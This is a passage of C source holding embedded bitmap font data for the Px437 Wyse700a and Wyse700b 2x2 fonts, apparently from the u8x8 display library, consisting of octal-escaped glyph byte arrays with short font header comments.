\"\\177@@\\0\\0\\0@@\\300\\300\\200\\200\\300@@\\300\\300\\200\\200\\0\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300@@@@@\\300\\300\\200\\200\\0\\0\\0\\11\\11\\33\\33\\22\\22\\22\\22\\22\\36\"\n  \"\\36\\14\\14\\0\\0@@@@\\360\\370\\374\\374@@@@\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\37\\37\\20\\20\\30\"\n  \"\\30\\10\\10\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\17\\17\\37\\37\\20\\20\\20\\17\\17\\37\"\n  \"\\37\\20\\20\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\3\\3\\7\\7\\14\\14\\30\\30\\14\\14\\7\"\n  \"\\7\\3\\3\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\7\\17\\37\\37\\30\\34\\16\\16\\34\\30\\37\"\n  \"\\37\\17\\7\\0\\0\\0@@\\300\\300\\200\\0\\0\\200\\300\\300@@\\0\\0\\0\\0\\20\\20\\30\\35\\17\\7\\7\\17\\35\\30\"\n  \"\\20\\20\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\3\\7GOLHHHh\\177\"\n  \"\\77\\77\\37\\0\\0\\0\\300\\300\\300\\300@@@@\\300\\300\\300\\300\\0\\0\\0\\0\\30\\30\\34\\34\\26\\26\\23\\23\\31\\31\"\n  \"\\30\\30\\0\\0\\0\\0\\200\\200\\200\\200\\360\\370\\374|\\14\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\37\\37\\30\\20\"\n  \"\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0||||\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\4\\4\\4\\14|\\374\\370\\360\\200\\200\\200\\200\\0\\0\\0\\0\\20\\20\\20\\30\\37\\37\\17\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\10\\14\\14\\4\\4\\14\\10\\10\\14\\14\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300``\\60\\60``\\300\\300\\200\\200\\0\\0\\3\\3\\3\\3\\2\\2\\2\\2\\2\\2\"\n  \"\\3\\3\\3\\3\";\n/*\n  Fontname: -FreeType-Px437 Wyse700a-Medium-R-Normal--16-160-72-72-P-131-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 18/288\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_px437wyse700a_2x2_n[868] U8X8_FONT_SECTION(\"u8x8_font_px437wyse700a_2x2_n\") = \n  \" :\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0@@\\300\\300\\200\\200\\200\\200\\300\\300@@\\0\\0\\0\\1\\5\\5\\7\\7\\3\\3\\3\\3\\7\\7\"\n  \"\\5\\5\\1\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\17\\17\\17\\17\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@xx\\70\\30\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360p\\60\\20\\0\\0\\0\\0\\20\\30\\34\\36\\17\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\360\\360\\370\\30\\10\\210\\330\\370\\360\\360\\340\\0\\0\\0\\0\\17\\37\\37\\77\\66#!\\60\\77\\37\"\n  \"\\37\\17\\0\\0\\0\\0  \\60\\60\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0    \\77\\77\\77\\77  \"\n  \"  \\0\\0\\0\\0\\20\\20\\30\\30\\10\\10\\10\\230\\370\\360\\360`\\0\\0\\0\\0\\60\\70<<.&##\\61\\61\"\n  \"\\60\\60\\0\\0\\0\\0\\20\\20\\30\\30\\10\\10\\10\\10\\230\\370\\360\\360`\\0\\0\\0\\20\\20\\60\\60!!!!\\63\\77\"\n  \"\\36\\36\\14\\0\\0\\0\\0\\200\\300\\340\\360x\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\42\\42\\77\\77\\77\\77\"\n  \"\\42\\42\\0\\0\\0\\0\\370\\370\\370\\370\\210\\210\\210\\210\\210\\210\\10\\10\\10\\0\\0\\0\\20\\20\\60\\60    \\61\\77\"\n  \"\\37\\37\\16\\0\\0\\0\\340\\360\\360\\370\\30\\10\\10\\10\\10\\10\\0\\0\\0\\0\\0\\0\\17\\37\\37\\77\\61!!!\\63\\77\"\n  \"\\36\\36\\14\\0\\0\\0\\30\\30\\30\\30\\10\\10\\210\\310\\370\\370x\\70\\0\\0\\0\\0\\0\\0\\0\\0>\\77\\77\\77\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0`\\360\\360\\370\\230\\10\\10\\10\\230\\370\\360\\360`\\0\\0\\0\\14\\36\\36\\77\\63!!!\\63\\77\"\n  \"\\36\\36\\14\\0\\0\\0`\\360\\360\\370\\230\\10\\10\\10\\30\\370\\360\\360\\340\\0\\0\\0\\0\\0 !!!!!\\61\\77\"\n  \"\\37\\37\\17\\0\\0\\0\\0\\0\\0\\0````\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\30\\30\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Px437 Wyse700b-Medium-R-Normal--16-160-72-72-P-124-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 151/288\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_px437wyse700b_2x2_f[7172] U8X8_FONT_SECTION(\"u8x8_font_px437wyse700b_2x2_f\") = \n  \" \\377\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\33\\33\\33\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\36\\36\\36\\0\\0\\0\\0\\36\\36\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0  \\370\\370\\370    \\370\\370\\370  \\0\\0\\4\\4\\37\\37\\37\\4\\4\\4\\4\\37\\37\"\n  \"\\37\\4\\4\\0\\0\\60xx\\314\\204\\204\\376\\376\\204\\204\\214\\30\\30\\20\\0\\0\\4\\14\\14\\30\\20\\20\\77\\77\\20\\20\\31\"\n  \"\\17\\17\\6\\0\\0\\0\\0\\60\\60\\60\\60\\0\\200\\300\\340p\\60\\20\\0\\0\\0\\0\\0\\20\\30\\34\\16\\7\\3\\1\\30\\30\"\n  \"\\30\\30\\0\\0\\0\\0\\20\\70\\270\\354\\304\\304\\304\\354\\70\\70\\220\\200\\200\\0\\0\\6\\17\\17\\31\\20\\20\\20\\31\\37\\17\\17\"\n  \"\\37\\31\\20\\0\\0\\0\\0\\0\\0\\20\\30\\34\\16\\6\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\34\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\34\\30\\20\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\14\\34\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\30\\34\\17\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\240\\240\\340\\300\\300\\300\\340\\240\\240\\200\\200\\0\\0\\0\\0\\0\\2\\2\\3\\1\\1\\1\\3\\2\"\n  \"\\2\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\360\\360\\360\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@xx\\70\\30\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\30\\30\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340p\\70\\30\\10\\0\\0\\0\\0\\0\\10\\14\\16\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\370\\370\\14\\4\\204\\304d<\\370\\370\\360\\0\\0\\0\\0\\7\\17\\17\\36\\23\\21\\20\\20\\30\\17\"\n  \"\\17\\7\\0\\0\\0\\0\\0\\0\\20\\20\\30\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\10\\14\\4\\4\\4\\4\\204\\204\\314xx\\60\\0\\0\\0\\30\\34\\34\\26\\22\\23\\21\\21\\20\\20\"\n  \"\\20\\20\\20\\0\\0\\0\\10\\10\\14\\4\\4\\204\\204\\204\\204\\314xx\\60\\0\\0\\0\\10\\10\\30\\20\\20\\20\\20\\20\\20\\31\"\n  \"\\17\\17\\6\\0\\0\\0\\200\\300\\340p\\70\\34\\14\\374\\374\\374\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\37\\37\\37\"\n  \"\\1\\1\\0\\0\\0\\0|||DDDDDD\\304\\204\\204\\4\\0\\0\\0\\10\\10\\30\\20\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\360\\370\\370\\214\\204\\204\\204\\204\\204\\204\\0\\0\\0\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\31\"\n  \"\\17\\17\\6\\0\\0\\0\\4\\4\\4\\4\\4\\204\\304\\344|<\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\60xx\\314\\204\\204\\204\\204\\204\\314xx\\60\\0\\0\\0\\6\\17\\17\\31\\20\\20\\20\\20\\20\\31\"\n  \"\\17\\17\\6\\0\\0\\0\\60xx\\314\\204\\204\\204\\204\\204\\214\\370\\370\\360\\0\\0\\0\\0\\0\\20\\20\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\14\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\34\\34\\14\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340p\\70\\34\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\16\\34\\30\\20\\0\"\n  \"\\0\\0\\0\\0\\0\\0@@@@@@@@@@@@\\0\\0\\0\\0\\2\\2\\2\\2\\2\\2\\2\\2\\2\\2\"\n  \"\\2\\2\\0\\0\\0\\0\\0\\0\\0\\4\\14\\34\\70p\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\20\\30\\34\\16\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\30\\30\\14\\4\\4\\204\\304\\354x\\70\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\33\\33\\33\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\370\\370\\14\\4\\304\\344\\344$$,\\370\\370\\360\\0\\0\\7\\17\\17\\30\\20\\21\\23\\23\\22\\22\\22\"\n  \"\\23\\23\\1\\0\\0\\0\\300\\340\\360\\70\\34\\14\\14\\34\\70\\360\\340\\300\\0\\0\\0\\0\\37\\37\\37\\1\\1\\1\\1\\1\\1\\37\"\n  \"\\37\\37\\0\\0\\0\\0\\374\\374\\374\\204\\204\\204\\204\\204\\204\\314xx\\60\\0\\0\\0\\37\\37\\37\\20\\20\\20\\20\\20\\20\\31\"\n  \"\\17\\17\\6\\0\\0\\0\\360\\370\\370\\14\\4\\4\\4\\4\\4\\14\\30\\30\\20\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\30\"\n  \"\\14\\14\\4\\0\\0\\0\\374\\374\\374\\4\\4\\4\\4\\4\\4\\14\\370\\370\\360\\0\\0\\0\\37\\37\\37\\20\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\374\\374\\374\\204\\204\\204\\204\\204\\204\\4\\4\\4\\0\\0\\0\\0\\37\\37\\37\\20\\20\\20\\20\\20\\20\\20\"\n  \"\\20\\20\\0\\0\\0\\0\\374\\374\\374\\204\\204\\204\\204\\204\\204\\4\\4\\4\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\370\\370\\14\\4\\4\\4\\4\\4\\14\\30\\30\\20\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\21\\31\"\n  \"\\17\\17\\7\\0\\0\\0\\374\\374\\374\\200\\200\\200\\200\\200\\200\\200\\374\\374\\374\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\4\\14\\14\\30\\20\\20\\20\\30\\17\"\n  \"\\17\\7\\0\\0\\0\\0\\0\\374\\374\\374\\300\\340\\360\\70\\34\\14\\4\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\1\\3\\7\\16\\34\"\n  \"\\30\\20\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\20\\20\\20\\20\\20\\20\\20\"\n  \"\\20\\20\\0\\0\\0\\374\\374\\374\\34\\70p\\340\\340p\\70\\34\\374\\374\\374\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\37\\37\\37\\0\\0\\0\\374\\374\\374\\70p\\340\\300\\200\\0\\0\\374\\374\\374\\0\\0\\0\\37\\37\\37\\0\\0\\0\\1\\3\\7\\16\"\n  \"\\37\\37\\37\\0\\0\\0\\360\\370\\370\\14\\4\\4\\4\\4\\4\\14\\370\\370\\360\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\374\\374\\374\\204\\204\\204\\204\\204\\204\\314xx\\60\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\370\\370\\14\\4\\4\\4\\4\\4\\14\\370\\370\\360\\0\\0\\0\\7\\17\\17\\30\\20\\20\\24\\34\\34\\70\"\n  \"\\77/\\7\\0\\0\\0\\374\\374\\374\\204\\204\\204\\204\\204\\204\\314xx\\60\\0\\0\\0\\37\\37\\37\\0\\0\\0\\1\\3\\7\\16\"\n  \"\\34\\30\\20\\0\\0\\60xx\\314\\204\\204\\204\\204\\204\\204\\214\\30\\30\\20\\0\\0\\4\\14\\14\\30\\20\\20\\20\\20\\20\\20\\31\"\n  \"\\17\\17\\6\\0\\0\\0\\4\\4\\4\\4\\4\\374\\374\\374\\4\\4\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\1\\3\\7\\16\\34\\30\\30\\34\\16\\7\"\n  \"\\3\\1\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\7\\17\\37\\30\\34\\16\\7\\7\\16\\34\\30\"\n  \"\\37\\17\\7\\0\\0\\0\\14\\34<p\\340\\300\\300\\340p<\\34\\14\\0\\0\\0\\0\\30\\34\\36\\7\\3\\1\\1\\3\\7\\36\"\n  \"\\34\\30\\0\\0\\0\\0\\4\\14\\34\\70p\\340\\300\\340p\\70\\34\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\4\\4\\4\\4\\4\\204\\304\\344t<\\34\\14\\4\\0\\0\\0\\20\\30\\34\\36\\27\\23\\21\\20\\20\\20\"\n  \"\\20\\20\\20\\0\\0\\0\\0\\0\\0\\374\\374\\374\\4\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\20\\20\\20\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\10\\30\\70p\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\16\"\n  \"\\14\\10\\0\\0\\0\\0\\0\\0\\0\\4\\4\\4\\4\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\\37\\37\\37\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\30\\34\\16\\7\\3\\3\\7\\16\\34\\30\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@@@@@@@@@@@\"\n  \"@@@@\\0\\0\\0\\0\\0\\2\\6\\16\\34\\30\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@@@@@@@@\\300\\200\\200\\0\\0\\0\\16\\16\\37\\21\\21\\21\\21\\21\\21\\21\"\n  \"\\37\\37\\37\\0\\0\\0\\374\\374\\374@@@@@@\\300\\200\\200\\0\\0\\0\\0\\37\\37\\37\\20\\20\\20\\20\\20\\20\\20\"\n  \"\\37\\17\\17\\0\\0\\0\\200\\200\\300@@@@@@@\\300\\200\\200\\0\\0\\0\\17\\17\\37\\20\\20\\20\\20\\20\\20\\20\"\n  \"\\30\\10\\10\\0\\0\\0\\0\\200\\200\\300@@@@@@\\374\\374\\374\\0\\0\\0\\17\\17\\37\\20\\20\\20\\20\\20\\20\\20\"\n  \"\\37\\37\\37\\0\\0\\0\\200\\200\\300@@@@@@@\\300\\200\\200\\0\\0\\0\\17\\17\\37\\22\\22\\22\\22\\22\\22\\22\"\n  \"\\23\\23\\3\\0\\0\\0\\0\\0\\200\\200\\370\\370\\374\\204\\204\\204\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\300@@@@@@@\\300\\200\\200\\0\\0\\0\\7GOHHHHHHH\"\n  \"\\177\\77\\77\\0\\0\\0\\374\\374\\374\\200@@@@@@\\300\\200\\200\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\330\\330\\330\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\330\\330\\330\\0\\0\\0\\0\\0\\0\\0\\0@@@@`\\77\\77\\37\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\200\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\2\\7\\17\\35\\30\"\n  \"\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300@@\\200\\200\\300@@\\300\\200\\200\\0\\0\\0\\37\\37\\37\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\37\\37\\37\\0\\0\\0\\300\\300\\300@@@@@\\300\\200\\200\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\37\"\n  \"\\37\\37\\0\\0\\0\\0\\0\\200\\200\\300@@@@@\\300\\200\\200\\0\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\300\\300\\300@@@@@@\\300\\200\\200\\0\\0\\0\\0\\177\\177\\177\\10\\10\\10\\10\\10\\10\\14\"\n  \"\\7\\7\\3\\0\\0\\0\\0\\200\\200\\300@@@@@@\\300\\300\\300\\0\\0\\0\\3\\7\\7\\14\\10\\10\\10\\10\\10\\10\"\n  \"\\177\\177\\177\\0\\0\\0\\300\\300\\300@@@@@@\\300\\200\\200\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\300@@@@@@@@@\\0\\0\\0\\0\\1\\21\\23\\22\\22\\22\\22\\22\\22\\22\"\n  \"\\36\\14\\14\\0\\0\\0\\0@@@@\\374\\374\\374@@@@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\0\\17\\17\\37\\20\\20\\20\\20\\20\\20\\37\"\n  \"\\37\\37\\0\\0\\0@\\300\\300\\200\\0\\0\\0\\0\\0\\0\\200\\300\\300@\\0\\0\\0\\0\\1\\3\\7\\16\\34\\34\\16\\7\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\7\\17\\37\\30\\34\\16\\6\\16\\34\\30\"\n  \"\\37\\17\\7\\0\\0\\0\\0@\\300\\300\\200\\0\\0\\200\\300\\300@\\0\\0\\0\\0\\0\\0\\20\\30\\35\\17\\7\\7\\17\\35\\30\"\n  \"\\20\\0\\0\\0\\0\\0@\\300\\300\\200\\0\\0\\0\\0\\0\\200\\300\\300@\\0\\0\\0\\0\\0Acw>\\34\\16\\7\\3\"\n  \"\\1\\0\\0\\0\\0\\0@@@@@@@@@\\300\\300\\300@\\0\\0\\0\\20\\30\\30\\34\\24\\26\\22\\23\\21\\21\"\n  \"\\20\\20\\20\\0\\0\\0\\0\\200\\200\\200\\360x|\\14\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\37\\30\\20\\20\"\n  \"\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0|||\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\4\\4\\4\\14|x\\360\\200\\200\\200\\0\\0\\0\\0\\0\\0\\20\\20\\20\\30\\37\\17\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\10\\10\\14\\4\\4\\14\\10\\10\\14\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\300@` \\60\\20\\60 `@\\300\\200\\200\\0\\3\\3\\3\\2\\2\\2\\2\\2\\2\\2\\2\"\n  \"\\2\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  